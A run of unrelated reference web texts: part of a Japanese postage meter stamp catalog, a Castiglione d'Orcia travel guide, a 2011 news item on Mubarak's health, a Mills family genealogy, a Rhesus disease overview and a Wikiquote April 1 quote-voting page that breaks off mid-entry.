at top followed by “JAPANESE POSTAGE”, value line, “PAID”/town name. “PAID” and town name have ornaments at sides. Value line has 3- or 4-digit impression counter number at right. Printed in red shades on pale blue or off-white adhesive label. Without M#. Month usually in letters but occasionally as numeral. V/F: 0000,000 followed by a letter, 000,000 followed by a letter V/F: 0000,000 without letter, –000,000 followed by a letter, –000,000 without letter, 00,000 followed by a letter, 00 0000 followed by a letter [Scarce] V/F: 00,000 without letter V/F: –00,000 without letter [Scarce] V/F: letter preceding 000 00 followed by vertical Roman numeral [Very scarce] a. Letter in parenthesis at right of town name b. Letter in parenthesis below town name NOTE: The town name greatly influences the value of these stamps. The smaller towns are more in demand than Tokyo and other large cities. PO2. National Cash Register “1925” (MV), 1952. As Type PO1 but date at top above 日 本 郵 便. Value figures and impression counter number at center. Double-line framed shape at bottom containing town name, “JAPAN”, and M# with “N” prefix. Month numeric or in letters. V/F: 00,000 without a letter [Scarce] V/F: 00,000 followed by a letter, 0000,000 followed by a letter or without a letter [$15] PO3. National Cash Register “N21” (MV), 1965. Similar to Type PO2 but town mark shape at top with date above value figures at bottom. Inscribed “JAPAN”. Without M#. A. Town mark frame 39 mm wide B. Town mark frame 37 mm wide [Scarce] V/F: 0,000 00,000 PO4. Anker (MV), 1967. As Type PO3 but date and value figures on same line. Year figures vertical. V/F: 0.000 000.000 oo0.000 a. With impression counter number between date and value figures PO5. Anker (MV), 1971. Mount Fuji and plum blossoms at upper left, 日 本 郵 便 at upper right above town name and “JAPAN”. Date at lower left, and value figures at lower right. A. Year horizontal, without impression counter number B. Year vertical, impression counter number between date and value figures. [Scarce] V/F: 0.000 000.000 NOTE: Size and shape of asterisk and value figures variable. PO6. Anker (MV), 1975. Very similar to Type PO5 but with “通 用 当 日 限 り“ (Valid on date of issue only) added below country name. A. “JAPAN”. Year horizontal, without impression counter number B. “JAPAN”. Year vertical, with impression counter number between date and value figures C. “NIPPON”. Year horizontal, without impression counter number D. “NIPPON”. Year vertical, without impression counter number E. “NIPPON”. Year horizontal, with impression counter number F. “NIPPON”. Year vertical, with impression counter number V/F: 0.000 0.000 000.000 PO7. Postalia “D2/D3” (MV), 1964. Design is similar to Group E frank but with 日 本 郵 便 above and country name below and outside. M# with “PF” prefix. A. “JAPAN” [Scarce] B. “NIPPON” TM: SC within field of wavy lines. Smaller wavy line field at right of frank. V/F: 0000 V/F: 000 PO8. TEC (MV), 1972. [Scarce] Frameless, horizontal frank with birds amidst leafy branches motif. Printed on plain, white labels. M# 0101 and 0102 with “TEC” prefix. TM: SC V/F: 0000 P09. TEC “Model PT” (MV), 1979. Similar to Types PO5 and 6 but with 4-digit impression counter number at lower left and with date as DD–MM–YY above it and value figures. Inscribed “NIPPON”. V/F: ★0 to ★00000 NOTE: For Types PO10 through PO15 and all of Group PV, the stamps often include a 2-digit year of the Emperor’s reign as well as the western date. The reign year is usually found between asterisks above the regular date. PO10. Matsushita Electric Company “Model PM” (MV), 1979. [Scarce] Vertical design with two cranes in flight at center. Three horizontal bars at top. Country name “NIPPON”. PO name in English above date box with Japanese characters “通 用 当 日 限 り“ (“Valid on issued date only”) below. V/F: 00000 P011. Matsushita Electric Company / Tokyo Electric Company “Model UE” (MV), 1980. Vertical design with three bars above Mount Fuji and two flowers at top. Date above value figures at bottom. V/F: ★0 to ★00000 P012. Matsushita Electric Company / Tokyo Electric Company / Terakoa Seiko Company, 1983. Vertical design with characters for Japanese Postage and “NIPPON” at top above boxed value figures, town name, two birds in flight, the characters “通 用 当 日 限 り“ (“Valid on issued date only”), year of the Emperor between asterisks, and the date (YY·MM·DD or DD·MM·YY) at bottom. Frame lines are at the sides of the frank above the dates. V/F: ★0 to ★00000 a. Printed on salmon paper rather than white NOTE: This Post Office stamp is virtually identical to self-service vending machine stamp Type PV9. PO13. Matsushita Electric Company. As Type PO10 but with three horizontal bars at top. V/F: ★00 to ★00000 PO14. Matsushita Electric Company (MV). Very similar to Type PO11 but the design is not as tall, most noticeable in the height of the value box. The year of the Emperor is also closer to the value box. V/F: ★00 to ★00000 PO15. Matsushita Electric Company (MV). Vertical stamp with central design of a water bird with wings spread. Three horizontal bars at top. Value boxed below “NIPPON”. V/F: ★00 to ★00000 a. Printed on salmon paper rather than white As with Group PO, most of these stamps have variable colors, e.g. deep maroon, dark to brick red, and rose to pink. Most stamps have point-of-sale data applied in a shade different from the rest of the design. PV1. Kokuto Koki Kogyo (MV), 1970. [$250] Horizontal label with underprint design of large arrowhead and Japanese Post symbol. Point-of-sale data applied through an inked ribbon. Adhesive labels only. Meter NIHONBASHI YK-1 only. V/F: exact denomination without leading zeros PV2. Hokuto Koki Kogyo (MV), 1972. [$200] Similar to Type PV1 but underprint design with flying bird. Meter KAMATA YK-1 only. V/F: exact denomination without leading zeros PV3. Matsushita Electric Company “Model SS” (MV), 1975. Vertical labels with three bars at top followed by the boxed value figures, town name (Japanese) and “NIPPON”, two flying geese, town name (English), the boxed date, and at bottom the Japanese characters “通 用 当 日 限 り“ (“Valid on issued date only”). A. Date box 5 mm tall. Blank between English town name and date box B. Combination of four letters and/or stars between English town name and date box C. Date box 10-11 mm tall. Blank between English town name and date box V/F: 0000 The letters found in version B indicate added services or special condition, as follows: All stars and no letters means no special services or conditions “E” – express mail “N” – non-standard size “P” – parcel “R” - registered “S” – simplified registered (certified?) a. Commemorative stamp vended at stamp show, inscribed "KOBE-PORTOPIA '81" NOTE: The receipts for these stamps are purple and appear to be photostats (shown at right). PV4. Tokyo Electric Company, 1 March 1990. [Scarce] Similar to Type PO9 but point-of-sale date cruder, applied by dot matrix process. This stamp vended by experimental self-service facility “Intelligent Post”. V/F: *00 to *000 NOTE: The machine was located in the Sunshine Prince Hotel in Ikebukuro. PV5. Matsushita Electric Company, 1 March 1990. [Scarce] Very similar to Type PV4 but entire frank applied by dot matrix process. The elements are slightly smaller than in Type PV4. This stamp also comes from the experimental “Intelligent Post” facility. V/F: ★00 to ★000 NOTE: The machine was located in the Shinjyuku Post Office. PV6. Matsushita Electric Company, 1982. Vertical design featuring Kabuki actor with pine tree background. Three horizontal bars at top followed by value figures in white box. The stamp has an overall web-like underprint. Both the date and value figures are in boxes without the underprint. V/F: 0000 PV7. Matsushita Electric Company, 1983. With underprint as with PV6. The value box is between the town name and Kubuki image, and it has a background of fine horizontal lines. The date figures also have a background of fine horizontal lines. V/F range: *10 to 9990 PV8. Matsushita Electric Company (MV), 1985. Vertical design featuring two knitted balls near top. The stamp has an overall web-like underprint. One machine only, YOTSUYAEKIMAE. V/F: *10 to 9990 PV9. Matsushita Electric Company / Tokyo Electric Company / Terakoa Seiko Company, 1983. The stamp cataloged as Post Office Type PO12 is indistinguishable from self-service vending machine stamps from the same company). Ornaments in the value figures and flanking the year of the Emperor are 5-pointed stars. V/F: ★0 to ★00000 PV10. Matsushita Electric Company (digital), 1987. [Scarce] Similar to Type PV9 but date and value figures cruder, applied by a dot matrix process. Ornaments in the value figures and flanking the year of the Emperor have six points including two horizontal. The value figures contain leading zeros. V/F: 00000 PV11. Matsushita Electric Company (digital), 1987. [Scarce] Similar to Type PV10, but the asterisks have eight arms and are taller than wide. Ornaments in the value figures and flanking the year of the Emperor have eight points. Value figures without leading zeros. V/F: 00000 PV12. Matsushita Electric Company (digital), 1987. [Scarce] Very similar to Type PV9, but the value figures are centered rather than right justified. Ornaments in the value figures and flanking the year of the Emperor are 5-pointed stars. Value figures without leading zeros. V/F: ★0 to ★00000 PV13. Matsushita Electric Company, 1990. [Scarce] Very similar to Type PV10 but the 6-pointed ornaments in the value figures and flanking the year of the Emperor have vertical arms rather than horizontal. Value figures without leading zeros. Date as YY.MM.DD or DD.MM.YY. V/F: *0 to *00000 PV14. Matsushita Electric Company (digital). Similar to Type PV13 but without year of the Emperor’s reign. Value figures without leading zeros. V/F: *00 to *00000 Return to main catalog ⇒ International Postage Meter Stamp Catalog Return to top ⇒ Japan
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Castiglione d’Orcia is a municipality in the Val d'Orcia region of Siena in Tuscany, Italy. Bagni San Filippo The rural area which the territory of Castiglione d'Orcia forms a part of is known as the Val d'Orcia: a sparsely populated area with an almost unaltered agricultural landscape compared to previous centuries. The beauty of this agricultural landscape in Tuscany is the reason for its status, obtained in 2004, as a UNESCO World Heritage Site. The historic centre of the village, of medieval origin, is 540 m above sea level and allows a marvellous view for kilometres. In particular, you can look out over an imposing medieval defence tower rising out of the landscape at the Rocca di Tentennano, in the area of the "Rocca d'Orcia", just a stone's throw from the centre of Castiglione d'Orcia. The village's economy is based on two main activities: agriculture and tourism, and especially an activity which represents a combination of the two: Agriturismo ('agro-tourism,' where farms typically offer rooms and/or meals from their own produce.) Within the boundaries of the municipality there are also some well-known hot springs: Bagni San Filippo. Tempted tourists can choose between private spas, which charge entrance, and the free, public ones. Osteria Santa Caterina. Small restaurant specialising in "Pici" - a handmade Tuscan pasta dish; and "bistecca alla fiorentina" - steak from Chianina cattle, which originate in the area and is one of the oldest cattle breeds in the world. 42.9675111.588221 Agriturismo Bindozzino, Podere San Niccolò 29 - Poggio Rosa, ☏ +39 0577 887337, [email protected]. Farm stay nestled in the hills of Poggio Rosa, 5 km south of the town centre of Castiglione d'Orcia. Customers stay in self-catering apartments in a stone country cottage from the 16th century. Discount tickets for a spa facility in the nearby village of Bagni San Filippo are provided free of charge upon request. €70 double. Nearby is the picturesque town of San Quirico d'Orcia.
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Monday, February 14, 2011 Egypt Related articles 29 October 2020: On the campaign trail in the USA, September 2020 27 February 2020: Former Egyptian President Hosni Mubarak dies 11 January 2020: Cairo summit denounces Turkish-Libyan maritime border agreement 16 November 2019: Ancient Egyptians collected wild ibis birds for sacrifice, says study 10 July 2019: Benin, Nigeria join African Union continental free trade bloc Location of Egypt Collaborate! Pillars of Wikinews writing Writing an article Al Arabiya is reporting that former president of Egypt Hosni Mubarak, 82, has fallen into a coma. According to the network, Mubarak went into a coma on Saturday night after falling ill. Sameh Shoukry, the Egyptian ambassador to the United States said on the Today Show on NBC, that Mubarak is "possibly in bad health." He is currently being treated at his home in Sharm el-Sheikh on the coast of the Red Sea. "I am following the rumors and the press reports related to his health, and might have received some communication at a personal level indicating that he is possibly in somewhat of bad health," added Shoukry. "I really don't have sufficient information so I wouldn't like to speculate [on his condition]." Al Arabiya was quoting an article published in an Egyptian newspaper called al-Masry al-Youm, which states that Mubarak fainted at least two times while recording his last speech as president on Thursday night. Other newspapers reported that he stopped taking medications and was depressed. Shortly after leaving Cairo and arriving at his seaside home, Mubarak became ill and reportedly went into a coma. Egyptian State Television denies that Mubarak is in a coma, but does say that he is severely ill. "[Mubarak is suffering from a] severe psychological condition and is declining treatment, despite his illness," Al-Gomhuria daily, a pro government news agency in Egypt. Mubarak was ousted as president of Egypt on Friday after 18 days of mass, pro-democracy protests which mainly called for his resignation. He had been president for nearly 30 years. "Mubarak may be in ill health: Egypt's US envoy" — AFP, February 14, 2011 "Egypt's US envoy says Mubarak may be unwell" — Associated Press, February 14, 2011 "Mubarak ill but not in coma says Egyptian state media" — RIA Novosti, February 14, 2011 "Mubarak falls into coma after final speech: report" — Al Arabiya, February 14, 2011 "Report: Mubarak in coma, no decision on move to hospital" — The Jerusalem Post, February 14, 2011
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Family name: Mills Baron Hillingdon Charles Henry Mills, 1st Baron Hillingdon of Hillingdon (15 February 1886 – 3 April 1898) Charles William Mills, 2nd Baron Hillingdon of Hillingdon (3 April 1898 – 6 Apr 1919) Baronet Hillingdon Charles Henry Mills, 2nd Baronet Hillingdon (1872 – 15 February 1886) Nationality: British Religion: Jewish Hillingdon Court (1872–) Charles Henry Mills, 1st Baron Hillingdon of Hillingdon (26 April 1830 – 3 April 1898) Lady Louisa Isabella Lascelles (20 July 1830 – 30 November 1918) Hon. Algernon Henry Mills ( – 21 October 1922) Hon. Isabella Mary Mills (1863 – 30 March 1941) Hon. Mabel Blanche Mills (1864 – 8 October 1936) Charles William Mills, 2nd Baron Hillingdon of Hillingdon (26 January 1855 – 6 April 1919) Hon. Geoffrey Edward Mills (1875 – 14 August 1917) Hon. Violet Louisa Mills (1872 February 12 – 11 March 1958) Lady Louisa Isabella Lascelles was the daughter of the 3rd Earl of Harewood. 1886 April 15, Thursday, Hon. Charles W. Mills and Hon. Alice Marion Harbord married. Three of the bridesmaids were Charles Mills's sisters, the Hon. Isabel, Hon. Mabel, and Hon. Violet Mills, enabling identification of Hon. Violet Mills, who was not in The Peerage for this family. Although the description of this wedding is relatively short, it was published in "Arrangements for This Day" in the Morning Post as well as in a number of other newspapers. 1891 April 5, Sunday, the 1891 census lists the following people at Wilderness House, Seal, Sevenoaks, Kent: Charles Henry, Lord Hillingdon (60 years old), Louisa, Lady Hillingdon (60), Hon. Isabella M. Hillingdon (28), Hon. Violet L. Hillingdon (19), Hon. Mabel B. Hillingdon (27), Hon. Charles W. Hillingdon (36), Hon. Geoffrey E. Hillingdon (16), Charles T. Mills (4), Silvia C. Grenfell (3), Lord George F. Hamilton (45), Maud C. Lady Hamilton (44), Anthony G. Hamilton (16), Robert C. Hamilton (9), Hon. Maud Lawrence (25), Hon. Henry L. Bourke (50), and Adolphus G. C. Siddle (44), as well as 16 female and 9 male servants, plus 5 female and 4 male servants to one of the people visiting. 1897 July 2, Lord and Lady Hillingdon and the Hon. Violet Mills attended the Duchess of Devonshire's fancy-dress ball. 1901 April 1, Sunday, the 1891 census lists the following people at Wilderness House, Seal, Sevenoaks, Kent: Louisa I. Hillingdon (70 years old), Charles W. Lord Hillingdon (46), Violet L. Mills (29), Isabel Mary Mills Lawrence (38), Herbert A. Lawrence (39), Oliver Lawrence (7), and Michael Lawrence (6) as well as 15 female and 10 male servants. 1911 April 2, Sunday, the 1911 census lists the following people at Wilderness House, Seal, Sevenoaks, Kent: Louisa Isabella Hillingdon (80 years old), Violet Louisa Mills (38), Mabel Blanche Greaple (47), and Sylvia Caroline Greaple (23) as well as 11 female and 5 male servants. Charles Henry Mills, 1st Baron Hillingdon of Hillingdon (at 594) and Lady Louisa Isabella Lascelles Mills, Baroness Hillingdon (at 595) attended the Duchess of Devonshire's fancy-dress ball. Hon. Violet Mills (at 596) was dressed in the period of Charles II in "white, black, and yellow satin trimmed with gold." Attempting to identify Hon. Violet Mills, mentioned in the article on the ball in the Gentlewoman. (40, Col. 2a): Hon. Violet Louisa Mills, M.B.E., lives at "Grey ho. (T.N. 02) Seal, Sevenoaks." Once I had her family — from the wedding announcement of her brother Charles's wedding in the Morning Post, a search for her in the British Newspaper Archive shows her to have been present at a number of notable social events of this time. She seems the likely choice. "Charles Mills, 1st Baron Hillingdon". Wikipedia. 2021-05-22. https://en.wikipedia.org/w/index.php?title=Charles_Mills,_1st_Baron_Hillingdon&oldid=1024427667. https://en.wikipedia.org/wiki/Charles_Mills,_1st_Baron_Hillingdon. "Charles William Mills, 2nd Baron Hillingdon of Hillingdon." "Person Page". Retrieved 2021-06-18. https://www.thepeerage.com/p17470.htm#i174698. "Charles Mills, 2nd Baron Hillingdon". Wikipedia. 2021-05-21. https://en.wikipedia.org/w/index.php?title=Charles_Mills,_2nd_Baron_Hillingdon&oldid=1024398368. https://en.wikipedia.org/wiki/Charles_Mills,_2nd_Baron_Hillingdon. "Charles Henry Mills, 1st Baron Hillingdon of Hillingdon." "Person Page". Retrieved 2021-06-18. https://www.thepeerage.com/p5464.htm#i54635. "Lady Louisa Isabella Lascelles." "Person Page". Retrieved 2021-06-18. https://www.thepeerage.com/p1132.htm#i11317. The National Archives of the UK (TNA); Kew, Surrey, England; Census Returns of England and Wales, 1891; Class: RG12; Piece: 672; Folio: 28; Page: 1; GSU roll: 6095782. Ancestry.com. 1891 England Census [database on-line]. City of Westminster Archives Centre; London, England; Westminster Church of England Parish Registers; Reference: STA/PR/4/21. Ancestry.com. Westminster, London, England, Church of England Births and Baptisms, 1813-1919 [database on-line]. "Arrangements for This Day." Morning Post 16 April 1886 Friday: 5 [of 8], Col. 6b [of 7]. British Newspaper Archive https://www.britishnewspaperarchive.co.uk/viewer/bl/0000174/18860416/041/0005. Census Returns of England and Wales, 1901. Kew, Surrey, England: The National Archives, 1901. Class: RG13; Piece: 746; Folio: 33; Page: 7. Ancestry.com. Census Returns of England and Wales, 1911. Kew, Surrey, England: The National Archives of the UK (TNA) Series RG14, 1911. Ancestry.com. 1911 England Census [database on-line]. 1a–3c [of 3]. Ancestry.com. UK, City and County Directories, 1766 - 1946 [database on-line]. Provo, UT, USA: Ancestry.com Operations, Inc., 2013.
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Rhesus Disease is a maternal, anti-Rhesus factor antibody induced, hemolytic response in the fetus and neonate. Prior to the availability and wide use of immunoprophylaxis, Rhesus disease had an incidence of 1% and killed one neonate in every 2200 births. 16% of Caucasian mothers are Rhesus negative and the identification of these women is fundamental to the prevention of Rhesus disease. * Genotyping of both parents to assess fetal risk Non-invasive fetal genotyping using maternal plasma Amniocentesis to assess fetal anemia - fetal bilirubin is excreted into the amniotic fluid Doppler ultrasound scans can also assess anemia Checking maternal antibodies Rhesus disease is always caused by maternal antibodies crossing the placenta into the fetal circulation and mounting an immune response against the fetal red blood cells. These antibodies recognize and attack red blood cells expressing the antigen protein rhesus factor. For this to happen, the mother must be Rhesus-negative and the fetus must be Rhesus positive. Also, the mother must have had previous exposure to the Rhesus factor antigen. This can happen in two ways: A previous pregnancy with a Rhesus-positive child whose red blood cells crossed the placenta into the mother's circulation A previous blood transfusion with Rhesus-positive blood The former cause of isoimmunisation of the mother is the most common. A newly-sensitized mother will now remain sensitized for life. Therefore, any subsequent exposure to Rhesus-positive blood will result in an immune response against the Rhesus factor antigen. The genetics of this condition begins with the genetics of the parents. The gene that codes for the Rhesus factor antigen on the surface of red blood cells is autosomal dominant. So a woman who is genotypically DD or Dd will be phenotypically Rhesus-positive and she will express Rhesus factor on the surface of her red cells. Alternatively, if she is genotypically dd, she will be phenotypically Rhesus-negative, and will not express the Rhesus factor antigen. From this we can see that if a fetus is to be Rhesus positive, the father must be Rhesus positive too. He may be of the heterozygous genotype, Dd, or the homozygous type DD. So, if a woman who is dd, conceives a child with a man who is Dd, then there is a 50% chance that the child will be Dd and a 50% chance the child will be dd. Alternatively, if a woman who is dd, conceives a child with a man who is DD, then there is a 100% chance that the child will be Dd. Therefore, for Rhesus disease to be possible, the following genetic criteria must be met: The mother must be Rhesus negative (dd) and have had previous exposure to the Rhesus factor antigen The father must be Rhesus positive for Rhesus factor (Dd/DD) The child must be Rhesus positive (Dd is the only genotype possible) The newly-sensitized mother will now remain sensitized for life. Therefore, any subsequent exposure to Rhesus-positive blood will result in an immune response against the Rhesus factor antigen. In a pregnancy with an immunosensitised Rhesus-negative mother and a Rhesus-positive fetus, the anitbodies against Rhesus factor will cross the placenta from the maternal circulation to the fetal circulation. This is Rhesus disease, and has many complications. Maternal antibodies in the fetal circulation target, attack and damage the fetal red blood cells. The affected red cells travel in the circulation until they are cleared by the reticuloendothelial system of the fetus. The liver works hard to metabolize the products of hemolysis and increases in size. There is an increase in circulatory bilirubin which is excreted by the kidneys into the amniotic fluid. Fetal anemia results. In severe cases the fetus may suffer from: cardiac failure oedema hydrops fetalis The evidence of Rhesus disease can be assessed by: Genotyping both parents to assess fetal risk Non-invasive fetal genotyping using maternal plasma Amniocentesis to assess fetal anemia - fetal bilirubin is excreted into the amniotic fluid Doppler ultrasound scans can also assess anemia Checking maternal antibodies Anti-D can be given pre-delivery in those at risk to clear the fetal red cells before the mother has any chance to mount an immune response. This preventative measure has revolutionized the obstetric mangement of rhesus disease and saved the lives of numerous neonates. Clinical features include: anemia jaundice hydrops fetalis gross edema hepatosplenomegaly death www.gpnotebook.co.uk Kumar S, Regan F. Management of pregnancies with RhD alloimmunisation. BMJ 2005;330:1255-1258 O'Connor, J. Mosby. Edinburgh. 2002. Philadelphia: Elsevier Saunder
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April 1 Quotes of the day from previous years: 2004 Years ago my mother used to say to me... "In this world, Elwood, you must be oh-so-smart, or oh-so-pleasant." Well, for years I was smart — I recommend pleasant. You may quote me. ~ Jimmy Stewart as Elwood P. Dowd in the film Harvey selected by Kalki 2005 When you want to fool the world, tell the truth. ~ Otto von Bismarck (born 1 April 1815, and All Fools Day) selected by Kalki 2006 The first of April is the day we remember what we are the other 364 days of the year. ~ Mark Twain (All Fool's Day/April Fools' Day) selected by Kalki 2007 Fools rush in where Angels fear to tread. ~ Alexander Pope proposed by Kalki 2008 What is unique about the "I" hides itself exactly in what is unimaginable about a person. All we are able to imagine is what makes everyone like everyone else, what people have in common. The individual "I" is what differs from the common stock, that is, what cannot be guessed at or calculated, what must be unveiled, uncovered, conquered. ~ Milan Kundera (born 1 April 1929) proposed by InvisibleSun 2009 Very many maintain that all we know is still infinitely less than all that still remains unknown; nor do philosophers pin their faith to others' precepts in such wise that they lose their liberty, and cease to give credence to the conclusions of their proper senses. Neither do they swear such fealty to their mistress Antiquity that they openly, and in sight of all, deny and desert their friend Truth. ~ William Harvey (born 1 April 1578) proposed by InvisibleSun 2010 To joke in the face of danger is the supreme politeness, a delicate refusal to cast oneself as a tragic hero. ~ Edmond Rostand proposed by Zarbon 2011 I suppose it is tempting, if the only tool you have is a hammer, to treat everything as if it were a nail. ~ Abraham Maslow proposed by Zarbon 2012 They treat me like a fox, a cunning fellow of the first rank. But the truth is that with a gentleman I am always a gentleman and a half, and when I have to deal with a pirate, I try to be a pirate and a half. ~ Otto von Bismarck proposed by Zarbon 2013 proposed by Kalki 2014 proposed by Kalki 2015 proposed by Kalki 2016 proposed by Kalki 2017 proposed by Kalki 2018 proposed by Kalki for this All Fool's Day Easter Sunday. 2019 proposed by Kalki 2020 proposed by bystander 2021 proposed by bystander 2022 Rank or add further suggestions... Quotes by people born this day, already used as QOTD: I don't really know why I care so much. I just have something inside me that tells me that there is a problem, and I have got to do something about it. I think that is what I would call the God in me. All of us have a God in us, and that God is the spirit that unites all life, everything that is on this planet. ~ Wangari Maathai used 11 October 2004, selected by Kalki The Quote of the Day (QOTD) is a prominent feature of the Wikiquote Main Page. Were I, who to my Cost already am One of those strange, prodigious Creatures Man, A Spirit free, to choose for my own Share, What sort of Flesh and Blood I pleas’d to wear, I’d be a Dog, a Monkey, or a Bear, Or any thing, but that vain Animal, Who is so proud of being Rational. ~ John Wilmot, 2nd Earl of Rochester (born April 1, 1647) 3 InvisibleSun 08:36, 31 March 2007 (UTC) 3 Kalki 20:28, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) Whilst the misguided Follower climbs with Pain, Mountains of Whimsies, heapt in his own Brain, Stumbling from Thought to Thought, falls headlong down Into Doubt’s boundless Sea, where like to drown, Books bear him up a-while, and make him try To swim with Bladders of Philosophy. ~ John Wilmot, 2nd Earl of Rochester 3 InvisibleSun 08:36, 31 March 2007 (UTC) 3 Kalki 20:28, 31 March 2007 (UTC) 2 Zarbon 23:08, 22 April 2008 (UTC) For Wits are treated just like Common Whores; First they're enjoy'd, and then kickt out of Doors. ~ John Wilmot, 2nd Earl of Rochester 3 InvisibleSun 08:36, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) The light that radiates from the great novels time can never dim, for human existence is perpetually being forgotten by man and thus the novelists' discoveries, however old they may be, will never cease to astonish. ~ Milan Kundera 3 InvisibleSun 08:36, 31 March 2007 (UTC) 3 Kalki 20:28, 31 March 2007 (UTC) I have a strong tendency to prefer strong links to "All Fool's Day" on this date, but lean toward a 4 for this one despite this. 1 Zarbon 23:08, 22 April 2008 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) The past is full of life, eager to irritate us, provoke and insult us, tempt us to destroy or repaint it. The only reason people want to be masters of the future is to change the past. They are fighting for access to the laboratories where photographs are retouched and biographies and histories rewritten. ~ Milan Kundera 3 InvisibleSun 08:36, 31 March 2007 (UTC) 2 Kalki 20:28, 31 March 2007 (UTC) 2 Zarbon 23:08, 22 April 2008 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) It is a good world to live in, To lend, or to spend, or to give in; But to beg or to borrow, or to get a man's own, It is the very worst world that ever was known. ~ John Wilmot, 2nd Earl of Rochester ~ 3 Kalki 20:28, 31 March 2007 (UTC) 3 InvisibleSun 21:06, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) Great Negative, how vainly would the Wise Enquire, define, distinguish, teach, devise, Didst thou not stand to point their dull Philosophies? Is, or is not, the Two great Ends of Fate, And, true or false, the Subject of Debate, That perfect, or destroy, the vast Designs of Fate. ~ John Wilmot, 2nd Earl of Rochester ~ 3 Kalki 20:28, 31 March 2007 (UTC) 2 InvisibleSun 21:06, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) Man differs more from Man, than Man from Beast. ~ John Wilmot, 2nd Earl of Rochester 3 Kalki 20:28, 31 March 2007 (UTC) 3 InvisibleSun 21:06, 31 March 2007 (UTC) 3 because this is one of my alltime favorites. The man and beast comparison is an excellent one, one of sheer brilliance. Zarbon 23:08, 22 April 2008 (UTC) No great movement designed to change the world can bear to be laughed at or belittled. Mockery is a rust that corrodes all it touches. ~ Milan Kundera 3 Kalki 20:28, 31 March 2007 (UTC) 3 InvisibleSun 21:06, 31 March 2007 (UTC) 2 Zarbon 23:08, 22 April 2008 (UTC) Is not an event in fact more significant and noteworthy the greater the number of fortuities necessary to bring it about? ~ Milan Kundera 3 Kalki 20:28, 31 March 2007 (UTC) 3 InvisibleSun 21:06, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) Chance and chance alone has a message for us... Only chance can speak to us. ~ Milan Kundera 3 Kalki 20:28, 31 March 2007 (UTC) 3 InvisibleSun 21:06, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) Love is our freedom. ~ Milan Kundera 3 Kalki 20:28, 31 March 2007 (UTC) 3 InvisibleSun 21:06, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) I avow myself the partisan of truth alone. ~ William Harvey 3 Kalki 20:33, 31 March 2007 (UTC) with a very strong lean toward 4. 3 InvisibleSun 21:06, 31 March 2007 (UTC) 1 Zarbon 23:08, 22 April 2008 (UTC) I've been to Sugartown/I shook the Sugar down/Now I'm trying to get to heaven before they close the door. ~ Bob Dylan —This unsigned comment is by 24.125.163.3 (talk • contribs) . 0 Zarbon 23:10, 22 April 2008 (UTC) 2 Kalki 17:14, 22 February 2009 (UTC) 0. What is the relevance to this date? - InvisibleSun 20:21, 31 March 2009 (UTC) Not by speeches and votes of the majority, are the great questions of the time decided — but by iron and blood. ~ Otto von Bismarck 3 Zarbon 13:44, 28 October 2008 (UTC) 2 Kalki 17:14, 22 February 2009 (UTC) with a lean toward 3, but an ellipsis should be used rather than a dash. 2 InvisibleSun 20:21, 31 March 2009 (UTC) The wolf cannot help it that he was created by God the way he is, but one shoots him yet, if one can. ~ Otto von Bismarck 3 Zarbon 13:44, 28 October 2008 (UTC) 2 Kalki 17:14, 22 February 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) A conquering army on the border will not be stopped by eloquence. ~ Otto von Bismarck 3 Zarbon 13:44, 28 October 2008 (UTC) 2 Kalki 17:14, 22 February 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) Anyone who has ever looked into the glazed eyes of a soldier dying on the battlefield will think hard before starting a war. ~ Otto von Bismarck 2 Zarbon 13:44, 28 October 2008 (UTC) 3 Kalki 17:14, 22 February 2009 (UTC) Better pointed bullets than pointed speeches. ~ Otto von Bismarck 3 and strong lean toward 4. Zarbon 13:44, 28 October 2008 (UTC) 1 Kalki 17:14, 22 February 2009 (UTC) As art is a habit with reference to things to be done, so is science a habit in respect to things to be known. ~ William Harvey 3 Kalki 17:14, 22 February 2009 (UTC) 2 Zarbon 19:31, 28 February 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) Politics is not an exact science. ~ Otto von Bismarck 3 Kalki 01:04, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) A musician must make music, an artist must paint, a poet must write, if he is to be ultimately at peace with himself. What a man can be, he must be. ~ Abraham Maslow 3 Kalki 01:29, 29 March 2009 (UTC) 2 Zarbon 05:08, 30 March 2009 (UTC) 2 InvisibleSun 20:21, 31 March 2009 (UTC) Education is learning to grow, learning what to grow toward, learning what is good and bad, learning what is desirable and undesirable, learning what to choose and what not to choose. ~ Abraham Maslow 3 Kalki 01:29, 29 March 2009 (UTC) 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) I am fated to journey hand in hand with my strange heroes and to survey the surging immensity of life, to survey it through the laughter that all can see and through the tears unseen and unknown by anyone. ~ Nikolai Gogol 3 Kalki 01:29, 29 March 2009 (UTC) with a lean toward 4. 1 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) Come on, you sons of bitches, do you want to live forever? ~ Daniel Daly 2 Kalki 02:02, 29 March 2009 (UTC) 0 Zarbon 05:08, 30 March 2009 (UTC) 1. Frederick II of Prussia had already said something quite similar. - InvisibleSun 20:21, 31 March 2009 (UTC) What I look for in a friend is someone who's different from me. The more different the person is, the more I'll learn from him. The more he'll come up with surprising takes on ideas and things and situations. ~ Samuel R. Delany 3 Kalki 02:02, 29 March 2009 (UTC) 3 Zarbon 05:08, 30 March 2009 (UTC) 3 InvisibleSun 20:21, 31 March 2009 (UTC) 3 bystander (talk) 20:56, 31 March 2013 (UTC) Words mean things. When you put them together they speak. Yes, sometimes they flatten out and nothing they say is real, and that is one kind of magic. But sometimes a vision will rip up from them and shriek and clank wings clear as the sweat smudge on the paper under your thumb. And that is another kind. ~ Samuel R. Delany 3 Kalki 02:02, 